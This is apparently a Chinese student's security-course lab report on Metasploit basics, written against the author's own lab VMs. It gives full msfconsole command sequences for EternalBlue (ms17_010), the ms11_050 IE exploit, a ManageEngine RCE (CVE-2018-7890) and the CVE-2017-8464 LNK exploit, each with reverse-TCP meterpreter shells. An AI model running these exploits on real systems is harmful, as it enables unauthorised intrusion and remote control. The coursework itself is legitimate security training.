20164305 徐广皓 Exp5 MSF基础应用
- 一、知识点总结
- 二、攻击实例
- 主动攻击的实践
ms08_067(win7)
payload/generic/shell_reverse_tcp
(失败)payload/windows/meterpreter/reverse_tcp
(失败)
ms17_010_eternalblue(win7)
payload/windows/x64/meterpreter/reverse_tcp
(成功)
- 攻击浏览器的实践
ms11_050(win7)
(成功)
ms14_064(win7)
exploit/windows/browser/ms14_064_ole_code_execution (失败)
- 攻击客户端的实践
- ManageEngine Applications Manager 13.5远程代码执行漏洞 (CVE-2018-7890)
- manageengine_appmanager_exec (成功且唯一)
- ManageEngine Applications Manager 13.5远程代码执行漏洞 (CVE-2018-7890)
- 成功应用任何一个辅助模块
- usb fileforma (成功)
- 主动攻击的实践
- 三、实验总结
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六种模块
渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode
"背"过去- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提攻击载荷Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
空字段模块
Nop Modules
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode
的起始地址,所以加入nops
以增加攻击成功的概率
编码模块
Encoders
后渗透攻击模块Post
:攻击成功之后,动态传输代码使其在被控机执行- 改变
payload
形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
查看六种模块源码目录
/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
- 查看模块的具体信息
armitagewebgui
启动服务器
service postgresql start
启动armitage
armitage
二、攻击实例
靶机:Microsoft Windows 7
payload : generic/shell_reverse_tcp
实验步骤
通过菜单栏图标直接打开Armitag
根据已知信息推导出目标主机所在网段的IP,扫描目标网段完整信息,确认目标网络拓扑结构以实施网络侦查。依次选择Hosts->Nmap Scan->Quick Scan(OS detect)
虚拟机所在网段位192.168.80.0/24
Win10虚拟机IP信息
扫描后得到网段中4个虚拟机包括主机
选中靶机192.168.80.137,右键选择Services,查看靶机上开启的服务:
选中靶机192.168.80.137,右键选择Scan,Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步确定攻击方法提供参考依据
可见类似前几次实验在Metasploit中手动配置主机号、端口号等设置现在统统直接自动化了!
利用上一步中漏洞扫描得到的漏洞信息,自动搜索Metasploit攻击模块库,寻找合适的攻击模块。选中靶机192.168.80.137,依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索寻找合适的攻击模块:
在利用Armitage完成对靶机的攻击模块自动化搜索以后,选中192.168.80.137机右键可以发现多了Attack菜单。依次选择Attack->smb->ms08_067_netapi菜单,选择smb漏洞下的ms08_067漏洞对WIN7靶机进行攻击(也可以在Armitage左侧树型目录下依次选择exploit->windows->smb->ms08_067_netapi找到该漏洞):
launch一下,不行!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
为啥???然后我去看了一下适用系统,没有win7我哭了,我之前在做啥子?
靶机:Microsoft Windows 7
payload :windows/meterpreter/reverse_tcp
实验步骤
依然铁头娃,这次手动配置(肯定是能成功的)
use auxiliary/scanner/smb/smb_ms17_010
set RHOST 192.168.80.141
Run
Back
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.80.141
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
run
靶机:Microsoft Windows 7 + IE8
payload : windows/meterpreter/reverse_tcp
实验步骤
search ms11_050
use exploit/windows/browser/ms11_050_mshtml_cobjectelement
set srvhost 192.168.80.130
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
show targets
set target
Run
http://192.168.80.130:8080/zrCOkaFC
靶机:Windows 10
实现这一攻击需要ManageEngine Applications Manager 13.5,网上有相关警报书
网络上通用版本为13.5(试用版30天),实际上不怎么好用。。。只需要启动验证服务,但也不是每次都能成功地 (我也试了半天才成功,成功之后电脑蓝屏我还没快照 o(╥﹏╥)o)
use exploit/windows/http/manageengine_appmanager_exec
show options
set RHOST 192.168.80.136
Set RPORT
set LHOST 192.168.80.130
set payload windows/meterpreter/reverse_tcp
exploit
虽然显示的是13版本,但安装的时候显示的13.5安装.......我也不知道怎么回事可能不显示之后的版本号吧
实现CVE-2017-8464
攻击靶机:Win7
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
exploit
cp -r /root/.msf4/local/ /media/root/KINGSTON
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
Exploit
这里要注意系统要开启U盘自动播放,如果没开启双击第一个文件就行
实验感想
做攻击之前,要看看攻击对当前版本是否可行,避免出现铁头娃现象。对于不同的攻击,可能有一次不行之后就成功的现象,要多次尝试分析其中的原因才能进行判断。由于我的实验中基本使用win7和win10,所以大部分早起漏洞都修补了,找新漏洞就有些困难,尤其是win10找了半天才试出来一个,幸好那个漏洞软件公司没有修补,要不再找一个唯一还会花很长时间。
20164305 徐广皓 Exp5 MSF基础应用的更多相关文章
- 20164305 徐广皓 Exp2 后门原理与实践
实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件, ...
- 20164305 徐广皓 Exp3 免杀原理与实践
免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生 ...
- 20164305徐广皓 - Exp1 PC平台逆向破解(5)M
1.逆向及Bof基础实践说明 1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...
- 20164305 徐广皓 Exp4 恶意代码分析
实践目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals,systr ...
- 20164305 徐广皓 Exp6 信息搜集与漏洞扫描
信息搜集技术与隐私保护 间接收集 无物理连接,不访问目标,使用第三方信息源 使用whois/DNS获取ip 使用msf中的辅助模块进行信息收集,具体指令可以在auxiliary/gather中进行查询 ...
- 20164305 徐广皓 Exp1+ 逆向进阶
实验内容 Task1 (5-10分) 自己编写一个64位shellcode.参考shellcode指导. 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1.使用自己编写的shell ...
- 2017-2018-2 20155314《网络对抗技术》Exp5 MSF基础应用
2017-2018-2 20155314<网络对抗技术>Exp5 MSF基础应用 目录 实验内容 实验环境 基础问题回答 预备知识 实验步骤--基于Armitage的MSF自动化漏洞攻击实 ...
- 2018-2019 20165232 Exp5 MSF基础应用
2018-2019 20165232 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个 ...
- 2018-2019 20165237网络对抗 Exp5 MSF基础应用
2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...
随机推荐
- CENTOS重新安装JDK
centos 删除默认安装的JDK 重新安装JDK 1.删除JDK 通过xshell工具成功连接安装好的虚拟机之后可通过 rpm -qa | grep java 或 rpm -qa | gre ...
- 【java学习】Intelli Idea集成开发工具的使用
== mac版直接下载地址: https://download.jetbrains.com/idea/ideaIU-2018.1.6.dmg ==mac配置java环境变量: https://ji ...
- Host Only、NAT和Bridge三种网络连接
Host Only.NAT和Bridge三种网络连接 在安装好了Linux镜像之后,如何连接物理机和虚拟机呢?这就需要网络连接,网络连接有三种:HostOnly.NAT.Bridge,它们都可用于Gu ...
- Tire树的学习
Tire树是一种基于空间换时间思想的,应用于字符串处理的数据结构. 题目地址 分析:设DP数组Can[MaxL],Can[i]=1表示第i位可以理解. 当Can[i]==1,对第i+1位进行匹配,若能 ...
- CentOS7 安装配置 MySQL 5.7
1. 下载 yum 源文件 mysql80-community-release-el7-2.noarch.rpm https://dev.mysql.com/downloads/repo/yum/ 2 ...
- 如何在本地编译Fabric Code
之前的博客都是拿官方现成的Docker镜像来用,但是并没有自己动手做镜像,也没有说到如何去开发和测试Fabric的代码.这一篇博客就从入门的角度讲解如何编译.测试和开发Fabric. 一.环境准备 要 ...
- Web前端之iframe详解
iframe基本内涵 通常我们使用iframe直接直接在页面嵌套iframe标签指定src就可以了. <iframe src="demo_iframe_sandbox.htm" ...
- Oracle查看表实际占用空间和实际行数
select t.table_name,t.num_rows from user_tables t ORDER BY NUM_ROWS DESC;//实际行数 analyze table emp co ...
- C# AddRange为数组添加多个元素的代码
将代码过程中重要的代码片段做个收藏,下面代码段是关于C# AddRange为数组添加多个元素的代码,希望对小伙伴有所用处.ArrayList ab = new ArrayList();ab.Add(& ...
- nginx的限流问题
nginx的限流问题 http{ limit_req_zone $binary_remote_addr zone=req_one:10m rate=100r/s;server{ listen 8080 ...